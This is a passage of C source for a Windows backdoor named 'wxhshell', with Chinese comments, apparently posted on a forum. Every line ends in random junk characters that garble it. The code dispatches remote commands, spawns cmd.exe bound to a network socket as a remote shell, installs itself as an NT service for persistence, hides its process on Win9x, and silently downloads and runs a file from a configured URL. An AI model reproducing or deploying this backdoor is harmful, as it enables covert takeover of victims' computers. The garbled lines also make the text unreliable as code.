  else Gd|jE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4EhWK;ra  
  } 2p*L~! iM  
  else { NH,4>mV$!  
Nu><r  
    switch(cmd[0]) { |e2s{J2   
  G%%5lw!y'  
  // 帮助 nd h\+7  
  case '?': { hM8FN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :|=Xh"l"  
    break; Pj7MR/AH  
  } 9hhYyqGsO  
  // 安装 De49!{\a  
  case 'i': { 8]JlYe  
    if(Install()) $-n_$jLY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >NA{**$0  
    else $o*p#LU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |(5|6r3  
    break; 0fa8.g#I$  
    } 3e|,Z'4}4  
  // 卸载 %z["TVH  
  case 'r': { #/WjKr n  
    if(Uninstall()) px^brzLQo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eS2VLVxu  
    else f'u[G?C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pF:C   
    break; U> {CG+X  
    } .X6V>e)(3  
  // 显示 wxhshell 所在路径 DE$T1pFV  
  case 'p': { l i2/"~l  
    char svExeFile[MAX_PATH]; a&gf0g;@I  
    strcpy(svExeFile,"\n\r"); P~@I`r567  
      strcat(svExeFile,ExeFile); H&0S  
        send(wsh,svExeFile,strlen(svExeFile),0); OJ}aN>k  
    break; `u7twW*U2  
    } PjU.4aZ  
  // 重启 KI5099_/  
  case 'b': { [Ny'vAHOj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $)7Af6xD  
    if(Boot(REBOOT)) T!Uf PfEI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T`)uR*$  
    else { )H1chNI)  
    closesocket(wsh); \V9);KAOj  
    ExitThread(0); =L}$#Y8?  
    } A Zv| |8p  
    break; /S%!{;:  
    } $I90KQB\_  
  // 关机 S3YAc4  
  case 'd': { V;]U]   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^Kh>La:>O  
    if(Boot(SHUTDOWN)) 9;EY3[N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T q5F'@e  
    else { K?mly$  
    closesocket(wsh); p9iCrqi  
    ExitThread(0); r7N% onx  
    } -!ERe@k(  
    break; bl;v^HR0)  
    } D{s4Bo-  
  // 获取shell +4Lj}8,  
  case 's': { SlUt&+)  
    CmdShell(wsh); c#(&\g2H  
    closesocket(wsh); v:@ud,d<  
    ExitThread(0); &E8fd/s= k  
    break; .s<tQU  
  } 2v\-xg%1  
  // 退出 .t9zF-jk  
  case 'x': { k3t2{=&'&x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TZk.h8  
    CloseIt(wsh); .A Z+|?d  
    break; 'P~6_BW  
    } K?aUIkVs  
  // 离开 =;HmU.Uek%  
  case 'q': { ~b{j`T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9 TW  
    closesocket(wsh); .[#bOp*  
    WSACleanup(); We*c_;@<  
    exit(1); jRIm_)  
    break; Yg14aKZl  
        } $Uxg$pqO  
  } JSm3ZP|GqJ  
  } )d-{#  
E.~~.2   
  // 提示信息 T?E[LzZg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - dt<w;>W  
} \ g[A{  
  } >zAI#N4  
'$n#~/#}  
  return; !4G<&hvb  
} v;@-bED(Qs  
0,`$KbV\  
// shell模块句柄 ' ! ls"qo  
int CmdShell(SOCKET sock) f*SAbDE  
{ Af"vSL  
STARTUPINFO si; 3 eFBe2  
ZeroMemory(&si,sizeof(si)); u +OfUBrf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7eg//mL"6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d\ Z#XzI8  
PROCESS_INFORMATION ProcessInfo; K06/ D!RD4  
char cmdline[]="cmd"; dO[w3\~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Pa jBEF  
  return 0; +iPS=?S  
} h&6x.ps@  
$wn "+wX  
// 自身启动模式 q}["Nww-  
int StartFromService(void)  VSkx;P  
{ V-w[\u  
typedef struct k]`3if5>  
{ prY9SQd  
  DWORD ExitStatus; G#4cWn'  
  DWORD PebBaseAddress; VmB/X))   
  DWORD AffinityMask; 7M1*SC  
  DWORD BasePriority; P( W8XC  
  ULONG UniqueProcessId; ;G3{ e  
  ULONG InheritedFromUniqueProcessId; LHWh-h(s  
}   PROCESS_BASIC_INFORMATION; *{)![pDYd  
>:`Y]6z  
PROCNTQSIP NtQueryInformationProcess; Om0S^4y]x  
[J+K4o8L<A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }r /L 9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .n`MPx'  
OX4+1@$tk  
  HANDLE             hProcess; V@K}'f~  
  PROCESS_BASIC_INFORMATION pbi; * #;rp~  
8X]j;Rb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JCZJ\f*EZ  
  if(NULL == hInst ) return 0; ? F f w'O  
0p$?-81BJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @11voD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nZN]Q9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b\?#O}  
4#=!VK8ZH  
  if (!NtQueryInformationProcess) return 0; VPg`vI$(X  
^LT9t2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a@,tf'Sr  
  if(!hProcess) return 0; Y@u{73H  
YKl!M/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4Df TVO"h  
A Sy7")5  
  CloseHandle(hProcess); OG 5n9sx  
S,S_BB<Y[b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =OO_TPEZ  
if(hProcess==NULL) return 0; Ok({Al1A,w  
Q:VD 2<2  
HMODULE hMod; wQnr*kyza  
char procName[255]; rmQGzQnun  
unsigned long cbNeeded; rT}d<c Sf  
o <l4}~a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~w[zX4@  
TJsT .DWW~  
  CloseHandle(hProcess); Qn%*kU0X  
web&M!-  
if(strstr(procName,"services")) return 1; // 以服务启动 !b _<_Y{l  
~?b(2gn  
  return 0; // 注册表启动 a/)TJv  
} /e{Oqhf[n  
N{p2@_fnB  
// 主模块 @1Zf&'/6  
int StartWxhshell(LPSTR lpCmdLine) _9 Gy`  
{ J;_JH lK  
  SOCKET wsl; }.b[az\T  
BOOL val=TRUE; `8'T*KU  
  int port=0; (uV7N7 <1  
  struct sockaddr_in door; 053W2Si   
(vj2XiO^+  
  if(wscfg.ws_autoins) Install(); `XWxC:j3%  
=h_4TpDQ  
port=atoi(lpCmdLine); 3?5 ~KxOE(  
Zp__  
if(port<=0) port=wscfg.ws_port; ]B,S<*h  
B|GJboQ  
  WSADATA data; swLgdk{8n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [?IERE!xQ  
<RhKlCP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [Z5x_.k"I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HWefuj  
  door.sin_family = AF_INET; Le3S;SY&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [#9ij3vxd  
  door.sin_port = htons(port); )Y *?VqZn  
;D^)^~7dh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "]NQTUb;  
closesocket(wsl); J<`RlDI  
return 1; O5=ggG  
} M"9 zK[cz  
|t]9RC.;7  
  if(listen(wsl,2) == INVALID_SOCKET) { lMm-K%(2  
closesocket(wsl); D{l.WlA.  
return 1; PZ ogN  
} U/iAP W4U  
  Wxhshell(wsl); .y\HQ^j  
  WSACleanup(); %#] T.g  
YwF6/JA0^  
return 0; Z?X$8o^Z  
 !gk\h  
} D1j 7iv  
.nSupTyG  
// 以NT服务方式启动 C`jP8"-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n7MS{`  
{ )Xh_q3=  
DWORD   status = 0; cUm9s>^)/  
  DWORD   specificError = 0xfffffff; U1"t|KW8  
b?bYPN+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R Nv<kw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^6 LFho4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6szkE{-/?  
  serviceStatus.dwWin32ExitCode     = 0; 5{u6qc4FW  
  serviceStatus.dwServiceSpecificExitCode = 0; NF1D8uI  
  serviceStatus.dwCheckPoint       = 0; EIYM0vls(  
  serviceStatus.dwWaitHint       = 0; eB\r/B]  
GY",AL8f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fhY[I0;}$  
  if (hServiceStatusHandle==0) return; dI 5sqM:  
k,@J&   
status = GetLastError(); nM; G; T  
  if (status!=NO_ERROR) 2 Lam vf  
{ k41la?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X<m%EXvV  
    serviceStatus.dwCheckPoint       = 0; <{U{pCT%  
    serviceStatus.dwWaitHint       = 0; f~q&.,I(  
    serviceStatus.dwWin32ExitCode     = status; OhW=F2OIV  
    serviceStatus.dwServiceSpecificExitCode = specificError; B![5+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); epR~Rlw>2  
    return; *QG3Jz  
  } r;XQ i  
NqZRS>60v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _M&.kha  
  serviceStatus.dwCheckPoint       = 0; S[a5k;8GL  
  serviceStatus.dwWaitHint       = 0; Z M+Hb_6f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  [;=WnG  
} . ?p}:  
 i) 2))C  
// 处理NT服务事件,比如:启动、停止 ^c\IZ5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SznE:+  
{ ~t:b<'/  
switch(fdwControl) +^J-'7Vt  
{ 5|R2cc|"9  
case SERVICE_CONTROL_STOP: N4To#Q1w  
  serviceStatus.dwWin32ExitCode = 0; 3\KII9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _=L;`~=C9e  
  serviceStatus.dwCheckPoint   = 0; | sFe:TX  
  serviceStatus.dwWaitHint     = 0; VM]IL%AN  
  { M?B(<j1Ri  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >fye^Tx  
  } pIu H*4Vz  
  return; -m160k3  
case SERVICE_CONTROL_PAUSE: 4*vas]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,0Zn hS)kq  
  break; 8'lhp2#h  
case SERVICE_CONTROL_CONTINUE: B/=q_.1F>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @LKG\zYBu  
  break; /Tj"Fl\h  
case SERVICE_CONTROL_INTERROGATE: eFSC^  
  break; rh`.$/^  
}; Tj=dL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g`OOVaB  
} 8A:^K:Q  
z"K( bw6  
// 标准应用程序主函数 P!y`$Ky&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v1r_Z($  
{ =u8D!AxT  
Iz )hz9k  
// 获取操作系统版本 y5/6nvH_6  
OsIsNt=GetOsVer(); Ao":9r[V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~g1, !Wl  
yIIETE  
  // 从命令行安装 KO|pJ3  
  if(strpbrk(lpCmdLine,"iI")) Install(); cVay=5].  
Hl3)R*&'J  
  // 下载执行文件 rAx"~l.=  
if(wscfg.ws_downexe) { =x^l[>sz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N\q)LM !M  
  WinExec(wscfg.ws_filenam,SW_HIDE); i~)N QmH<  
} ISS\uj63M  
HmExfW  
if(!OsIsNt) { %)axGbZG;  
// 如果时win9x,隐藏进程并且设置为注册表启动 NQC3!=pQ}Y  
HideProc(); \C K(;J  
StartWxhshell(lpCmdLine); i<m$#6 <Z  
} %5h^`lp  
else U,<]J*b(@4  
  if(StartFromService()) q[G/}  
  // 以服务方式启动 >+ ]R4  
  StartServiceCtrlDispatcher(DispatchTable); vJRnBq+y  
else $(gGoL<  
  // 普通方式启动 3@)obb  
  StartWxhshell(lpCmdLine); ;cI#S%uvpn  
.Z=Ce!  
return 0; dC` tN5  
}
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只看该作者 1 发表于: 2006-10-10
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